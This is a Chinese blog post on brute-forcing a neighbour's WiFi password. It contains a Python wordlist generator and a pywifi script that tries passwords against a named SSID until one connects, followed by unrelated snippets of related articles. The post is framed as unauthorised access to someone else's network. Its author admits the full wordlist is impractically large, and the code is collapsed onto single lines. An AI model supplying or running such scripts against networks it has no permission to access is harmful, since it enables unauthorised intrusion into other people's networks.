利用Python破解隔壁家的WiFi密码

文章目录

  • 1,破解思路
    • 1.1,假定邻居家的WiFi密码长度是8位,且仅由0-9这10个数字,a-z这26个小写字母,A-Z这26个大写字母组成
    • 1.2, 用python程序对0-9,a-z,A-Z这62个元素进行排列组合。
    • 1.3,将这218万亿个组合依次按行写入到密码本.txt中
    • 1.4,编写python 的WiFi密码配对程序,从密码本.txt依次读取,尝试和隔壁邻居WiFi进行验证连接,直至成功
    • 1.5,密码本的大小
  • 2,生成密码本的python程序(版本是Python 3.8.10)
  • 3,wifi连接程序
  • 4,先运行 第2步,在D:\codes生成一份 pwd.txt 密码本文件,然后再执行第3步,等待N分钟,就可以连接成功!

1,破解思路

1.1,假定邻居家的WiFi密码长度是8位,且仅由0-9这10个数字,a-z这26个小写字母,A-Z这26个大写字母组成

1.2, 用python程序对0-9,a-z,A-Z这62个元素进行排列组合。

高中数学都学过排列组合吧?
从0-9,a-z,A-Z这62个元素中每次挑8个元素出来,但同一元素可以重复取出,排成一列,请问有多少种组合方式?
答案是62的8次方个,也就是218,340,105,584,896个,大概是218万亿个。

1.3,将这218万亿个组合依次按行写入到密码本.txt中

1.4,编写python 的WiFi密码配对程序,从密码本.txt依次读取,尝试和隔壁邻居WiFi进行验证连接,直至成功

同样的道理,如果邻居WiFi密码长度是9位,且还多了特殊符号~!@#¥这些,那么构建密码本的时候也要考虑进去。

1.5,密码本的大小

通常情况下,一个字母占用 1 字节,一共大概有218万亿个长度为8的字符串被写进 密码本.txt中去,那么这个密码本.txt大概有1744万亿字节,相当于1578143.95TB!!
宝子们,先看看你的电脑空间有没有1T。

2,生成密码本的python程序(版本是Python 3.8.10)

import time
start_time = time.time()
import string
import itertools
nums = 0
all_characters = string.ascii_letters + string.digits
dic =open(r"D:\\codes\\pwd.txt",'a')
for combination in itertools.product(all_characters, repeat=8):nums  = nums +1dic.write(''.join(combination))dic.write(''.join('\n'))print (nums)if nums == 20:break
dic.close()
end_time = time.time()    
execution_time = end_time - start_time
print("程序运行时间:", execution_time, "秒")

3,wifi连接程序

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime#测试连接,返回链接结果
def wifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()if wifistatus ==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="TP-LINK_1301"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(1)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接") #读取密码本
def readPassword():print("开始破解:")#密码本路径path="D:\\codes\\pwd.txt"
#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()bool=wifiConnect(pad)if bool:print("密码已破解: ",pad)print("WiFi已自动连接!!!")break#else:#跳出当前循环,进行下一次循环#print("密码破解中....密码校对: ",pad)except:continuestart=datetime.datetime.now() 
readPassword()
end=datetime.datetime.now()

4,先运行 第2步,在D:\codes生成一份 pwd.txt 密码本文件,然后再执行第3步,等待N分钟,就可以连接成功!

  • 强烈建议大家好好看看步骤1.5,不要盲目尝试啊,哈哈

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/40502.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java基础:爬虫

1.本地爬虫 Pattern:表示正则表达式 Matcher:文本匹配器,作用按照正则表达式的规则去读取字符串,从头开始读取。在大串中去找符合匹配规则的子串。 1.2.获取Pattern对象 通过Pattern p Pattern.compile("正则表达式");获得 1.3.…

从零开始:手把手教你部署 Node.js 项目

1. 本地项目打包 关闭本地项目后,在控制台执行以下命令进行打包: npm run build2. 将文件拷贝至服务器 将以下文件和文件夹拷贝至服务器: .nuxt 文件夹config 文件夹io 文件夹static 文件夹environment.js 文件nuxt.config.js 文件package.…

Electron:构建跨平台桌面应用的现代方法

环境搭建与Hello World main.js (主进程) const { app, BrowserWindow } require(electron)function createWindow () {// 创建一个新的浏览器窗口const mainWindow new BrowserWindow({width: 800, // 窗口宽度height: 600, // 窗口高度webPreferences: {nodeIntegration:…

【安全攻防】网络安全中的序列化与反序列

1.序列化与反序列化 首先要了解序列化与反序列化的定义,以及序列化反序列化所用到的基本函数。 序列化:把对象转换为字节序列的过程称为对象的序列化,相当于游戏中的存档。 PHP中的序列化函数serialize() **serialize()**函数用于序列化对…

VScode使用ssh连接服务器

VScode是一款有丰富插件的编译器,非常好用!除非你不会用,因为太过繁琐或着频繁出错导致想把电脑砸了; 插件选择 ssh 配置文件 Host myblablaHostName xxx.xx.xxx.xxxUser username用户名一般是服务器上创建有什么用户名&#xf…

【Vue】使用html、css实现鱼骨组件

文章目录 组件测试案例预览图 组件 <template><div class"context"><div class"top"><div class"label-context"><div class"label" v-for"(item, index) in value" :key"index">…

ubuntu22sshd服务保持连接的设置

专栏总目录 一、服务端 &#xff08;一&#xff09;打开配置文件 vi /etc/ssh/sshd_config &#xff08;二&#xff09;更改选项 将相关选项配置如下 ClientAliveInterval 60 ClientAliveCountMax 0 TCPKeepAlive yes 修改完毕后&#xff0c;依次点击esc按键、w、q按键回车…

深入探讨JavaScript中的队列,结合leetcode全面解读

前言 队列作为一种基本的数据结构&#xff0c;为解决许多实际问题提供了有效的组织和处理方式&#xff0c;对于提高系统的稳定性、可靠性和效率具有重要作用&#xff0c;所以理解队列是很重要的。 本文深入探讨JavaScript中的队列这种数据结构,结合leetcode题目讲解 题目直达…

在线快速升级nginx

备份现有配置文件和二进制文件&#xff1a; #压缩备份 sudo tar -czvf /usr/sbin/nginx1.21.4_backup.tar.gz /usr/sbin/nginx1.21.4/sudo cp /usr/sbin/nginx1.21.4/conf/nginx.conf /usr/sbin/nginx1.21.4/conf/nginx.conf.bak sudo cp /usr/sbin/nginx1.21.4/sbin/nginx /us…

一、Prometheus和Grafana搭建

一、服务端Prometheus二进制安装 https://prometheus.io/下载过慢可使用迅雷下载 tar -zxvf prometheus-2.53.0.linux-amd64.tar.gz启动 ./prometheus --config.fileprometheus.yml将其配置为系统服务&#xff1a; vim /usr/lib/systemd/system/prometheus.service[Unit] D…

DolphinScheduler部署安装or基础介绍(一)

DolphinScheduler概述 Apache DolphinScheduler是一个分布式、易扩展的可视化DAG工作流任务调度平台。致力于解决数据处理流程中错综复杂的依赖关系&#xff0c;使调度系统在数据处理流程中开箱即用 DolphinScheduler核心架构 DolphinScheduler的主要角色如下&#xff1a; Ma…

Google Earth Engine(GEE)——ui.Slider的使用设置1-100的滑块

简介 ui.Slider是一个用户界面控件,用于选择一个值或一个范围。它通常呈现为一个滑块,用户可以通过拖动滑块来选择一个特定的值。Slider可以水平或垂直显示,并且可以自定义外观和样式。 Slider通常具有以下几个重要的属性: - minValue:设置Slider的最小值。 - maxValue…

2024攻防演练:亚信安全推出MSS/SaaS短期定制服务

随着2024年攻防演练周期延长的消息不断传出&#xff0c;各参与方将面临前所未有的挑战。面对强大的攻击队伍和日益严格的监管压力&#xff0c;防守单位必须提前进行全面而周密的准备和部署。为应对这一形势&#xff0c;亚信安全特别推出了为期三个月的MSS/SaaS短期订阅方案。该…

一站式配套,全方位服务升级——全力打造企业新家园

国际数字影像产业园通过完善配套设施和优化服务&#xff0c;为入园企业提供了高效、便捷、专业的服务支持&#xff0c;助力企业实现快速发展和转型升级。同时&#xff0c;园区的数字化和智能化发展策略也为整个数字影像产业的繁荣发展提供了有力支撑。 一、完善配套设施 1、高…

社交相亲的智能匹配:现代APP如何重塑婚恋交友

在数字化时代&#xff0c;婚恋交友方式正经历着一场革命。现代社交相亲APP利用智能匹配技术&#xff0c;为用户提供个性化的推荐&#xff0c;重塑了传统的婚恋交友模式。 一、现代婚恋交友的挑战 传统婚恋交友方式存在诸多限制&#xff0c;如地理距离、社交圈子的局限性&…

程序包lombok不存在,解决办法。

当前方法是针对于代码没有报错&#xff0c;本身有lombok jar包的情况 1.找到本地maven仓库中的已经下载好的lombok包&#xff0c;删掉。 2. 直接刷新maven&#xff0c;会重新下载lombok jar包&#xff0c;此时再启动项目时就可以正常运行了。

UE4_材质基础_切线空间与法线贴图

学习笔记&#xff0c;不喜勿喷&#xff0c;侵权立删&#xff0c;祝愿大家生活越来越好&#xff01; 一、切线空间 在《OpenGL基础11&#xff1a;空间》中提到了观察空间、裁剪空间、世界空间等。切线空间和它们一样&#xff0c;都属于坐标空间 上面就是一个…

[Linux安全运维] Linux命令相关

Linux命令相关 文件操作命令 相关操作说明ls列出当前目录的文件和子目录cd切换到指定目录pwd显示当前工作目录的路径mkdir创建新目录rmdir删除空目录rm删除文件或目录cp复制文件或目录mv移动或重命名文件或目录touch创建一个新的空文件cat显示文件内容more分页显示文件内容le…

Python 文档字符串(DocStrings)是个啥??

背景 最近在开发过程中&#xff0c;突然发现还有一个东西叫做文档字符串的玩意&#xff0c;原来函数的注释还能这么用&#xff1f;&#xff1f;python再次刷新了我的认知。以前函数注释我都是写在函数之前&#xff0c;现在看来&#xff0c;是我的代码不够规范了。正确的方式应…

Lesson 46 Can you ... ?

Lesson 46 Can you … ? 词汇 lift v. 拿起&#xff0c;搬起 n. 电梯&#xff08;直梯&#xff09; 用法&#xff1a;1. lift … up 拎起……    例句&#xff1a;我可以拎起那只小猫。       I can lift that cat up.    2. take a lift    例句&#xff1a…